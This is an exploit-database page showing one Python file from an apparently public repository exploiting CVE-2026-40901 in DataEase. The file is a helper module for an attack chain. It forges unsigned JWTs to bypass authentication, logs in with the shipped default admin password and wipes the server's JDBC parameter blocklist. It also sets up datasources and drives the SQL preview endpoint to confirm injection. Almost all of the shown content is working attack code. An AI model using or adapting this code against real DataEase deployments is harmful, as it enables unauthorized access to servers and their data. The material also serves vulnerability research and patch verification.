Exploit databaseDownload repository ZIP
GH-14ca6d4b9072f7ebee9f8d81ade1f92a
joaovicdev/exploit-cve-2026-40901
Sources for CVE-2026-40901
1 sourcePreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.
Repository files5
joaovicdev/exploit-cve-2026-40901Revision d23ef6fd8814
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
exploit/de_common.py
Python · 7,208 bytes"""
Shared helpers for the DataEase CVE-2026-40901 exploit chain PoC.
Covers the black-box primitives every stage needs:
* decoding the /dekey endpoint to recover the server RSA public key
* RSA-encrypting credentials the way the front-end does
* authenticating (default-credential login) to obtain an X-DE-TOKEN
* forging a signature-less JWT (CVE-2026-23958 auth-bypass primitive)
* saving datasources and driving /datasetData/previewSql
Everything here talks plain HTTP to the target; nothing touches the DB directly.
"""
import base64
import hashlib
import hmac
import json
import urllib.request
import urllib.error
from cryptography.hazmat.primitives.asymmetric import padding as _pad
from cryptography.hazmat.primitives.serialization import load_der_public_key
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
DE_API_PREFIX = "/de2api" # all REST controllers are auto-prefixed with /de2api
TOKEN_HEADER = "X-DE-TOKEN" # AuthConstant.TOKEN_KEY
LINK_TOKEN_HEADER = "X-DE-LINK-TOKEN" # AuthConstant.LINK_TOKEN_KEY
class DataEase:
def __init__(self, base_url="http://localhost:8100", timeout=25):
self.base = base_url.rstrip("/")
self.api = self.base + DE_API_PREFIX
self.timeout = timeout
self.token = None
# ---- low level HTTP -----------------------------------------------------
def _req(self, method, path, body=None, headers=None):
h = {"Content-Type": "application/json"}
if self.token:
h[TOKEN_HEADER] = self.token
if headers:
h.update(headers)
data = None
if body is not None:
data = body if isinstance(body, (bytes, bytearray)) else json.dumps(body).encode()
req = urllib.request.Request(self.api + path, data=data, method=method, headers=h)
try:
r = urllib.request.urlopen(req, timeout=self.timeout)
return r.status, r.read()
except urllib.error.HTTPError as e:
return e.code, e.read()
def get(self, path, headers=None):
return self._req("GET", path, None, headers)
def post(self, path, body, headers=None):
return self._req("POST", path, body, headers)
# ---- CVE-2026-23958: signature-less JWT forgery -------------------------
@staticmethod
def forge_jwt(uid=1, oid=1, secret=b"whatever", extra=None):
"""Forge a JWT accepted by TokenFilter, which calls JWT.decode() WITHOUT
verifying the signature (io.dataease.utils.TokenUtils#userBOByToken).
The only server-side constraints are: length >= 100 and an integer 'uid'
claim. The signature is irrelevant to TokenFilter, so any key works."""
def b64(b):
return base64.urlsafe_b64encode(b).rstrip(b"=")
header = b64(json.dumps({"alg": "HS256", "typ": "JWT"}, separators=(",", ":")).encode())
claims = {"uid": uid, "oid": oid}
if extra:
claims.update(extra)
# pad so the token comfortably exceeds the 100-char minimum length check
claims.setdefault("pad", "A" * 40)
payload = b64(json.dumps(claims, separators=(",", ":")).encode())
sig = b64(hmac.new(secret, header + b"." + payload, hashlib.sha256).digest())
return (header + b"." + payload + b"." + sig).decode()
# ---- RSA / login --------------------------------------------------------
def _server_public_key(self):
"""Recover the RSA public key from /dekey.
publicKey() returns: AES_CBC(pubKeyB64, aesKey) + urlb64('-pk_separator-') + aesKey
(RsaUtils#publicKey / ascEncrypt: AES/CBC/PKCS7, IV = 16x '0')."""
st, body = self.get("/dekey")
blob = json.loads(body)["data"]
sep = base64.urlsafe_b64encode(b"-pk_separator-").decode()
enc_pk, aes_key = blob.split(sep)
aes_key = aes_key.encode()
ct = base64.b64decode(enc_pk)
dec = Cipher(algorithms.AES(aes_key), modes.CBC(b"0" * 16)).decryptor()
pt = dec.update(ct) + dec.finalize()
pt = pt[:-pt[-1]] # strip PKCS7 padding
return load_der_public_key(base64.b64decode(pt.decode()))
def _rsa(self, pub, s):
return base64.b64encode(pub.encrypt(s.encode(), _pad.PKCS1v15())).decode()
def login(self, user="admin", password="DataEase@123456"):
"""Authenticate with the shipped default credentials and store the token.
DataEase ships admin/DataEase@123456 (installer/install.sh) and most
deployments never rotate it. In a real engagement the operator could
instead ride CVE-2026-23958 to mint a token without any credentials."""
pub = self._server_public_key()
st, body = self.post("/login/localLogin",
{"name": self._rsa(pub, user), "pwd": self._rsa(pub, password)})
j = json.loads(body)
if j.get("code") not in (0, None) or not j.get("data"):
raise RuntimeError(f"login failed: {body!r}")
self.token = j["data"]["token"]
return self.token
# ---- datasource + previewSql --------------------------------------------
@staticmethod
def mysql_config_b64(host, port, database, user, password, extra_params,
illegal_parameters=None, url_type=None, jdbc_url=None):
cfg = {
"type": "mysql",
"host": host, "port": port, "dataBase": database,
"username": user, "password": password,
"extraParams": extra_params,
"initialPoolSize": 5, "minPoolSize": 5, "maxPoolSize": 10, "queryTimeout": 30,
}
# CVE-2026-40899: sending illegalParameters wipes the server-side JDBC blocklist
if illegal_parameters is not None:
cfg["illegalParameters"] = illegal_parameters
if url_type is not None:
cfg["urlType"] = url_type
if jdbc_url is not None:
cfg["jdbcUrl"] = jdbc_url
return base64.b64encode(json.dumps(cfg).encode()).decode()
def save_datasource(self, name, config_b64):
body = {"name": name, "pid": 0, "nodeType": "datasource",
"action": "", "type": "mysql", "configuration": config_b64}
st, resp = self.post("/datasource/save", body)
j = json.loads(resp)
if j.get("code") not in (0, None):
raise RuntimeError(f"datasource save failed ({j.get('code')}): {j.get('msg')}")
return j["data"]["id"]
def preview_sql(self, datasource_id, sql):
"""POST /datasetData/previewSql. The server wraps our SQL as
`SELECT * FROM (<sql>) AS `tmp` LIMIT 100 OFFSET 0` and returns the final
wrapped SQL (base64) in data.sql -- handy for confirming injection."""
dto = {"sql": base64.b64encode(sql.encode()).decode(),
"datasourceId": datasource_id, "isCross": False, "sqlVariableDetails": None}
st, resp = self.post("/datasetData/previewSql", dto)
j = json.loads(resp)
final = None
if isinstance(j.get("data"), dict) and j["data"].get("sql"):
final = base64.b64decode(j["data"]["sql"]).decode(errors="replace")
return j.get("code"), j.get("msg"), final